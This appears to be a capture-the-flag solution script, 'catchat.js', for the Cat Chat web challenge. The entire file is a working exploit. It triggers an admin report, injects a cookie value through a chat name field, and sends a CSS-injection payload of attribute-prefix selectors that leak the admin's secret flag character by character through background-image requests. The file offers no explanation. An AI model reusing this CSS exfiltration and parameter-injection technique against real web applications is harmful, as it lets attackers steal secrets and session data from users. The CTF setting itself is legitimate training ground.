catchat.js

prefix = 'L0LC47S_43V3R'
grecaptcha.execute(recaptcha_id, {action: 'report'}).then((token) => send('/report ' + token));
setTimeout(() => {
fetch(`send?name=${encodeURIComponent('/secret wao; Domain=a.cat-chat.web.ctfcompetition.com')}&msg=dog`)
}, 2000);
setTimeout(() => {
let payload = ''
for(let i = '0'.charCodeAt(0); i <= '9'.charCodeAt(0); ++i) {
  let a = String.fromCharCode(i)
  payload += `span[data-secret^=${prefix}${a}]{background:url(./send?name=a&msg=flag%20${a})}`
}
for(let i = 'a'.charCodeAt(0); i <= 'z'.charCodeAt(0); ++i) {
  let a = String.fromCharCode(i)
  payload += `span[data-secret^=${prefix}${a}]{background:url(./send?name=a&msg=flag%20${a})}`
}
for(let i = 'A'.charCodeAt(0); i <= 'Z'.charCodeAt(0); ++i) {
  let a = String.fromCharCode(i)
  payload += `span[data-secret^=${prefix}${a}]{background:url(./send?name=a&msg=flag%20${a})}`
}
chars = '_@!?-.'
for(let i = 0; i < chars.length; ++i) {
  let a = chars[i]
  payload += `span[data-secret^=${prefix}${a}]{background:url(./send?name=a&msg=flag%20${a})}`
}
fetch(`send?name=${encodeURIComponent(`a]{}${payload}span[`)}&msg=dog`)
}, 2500)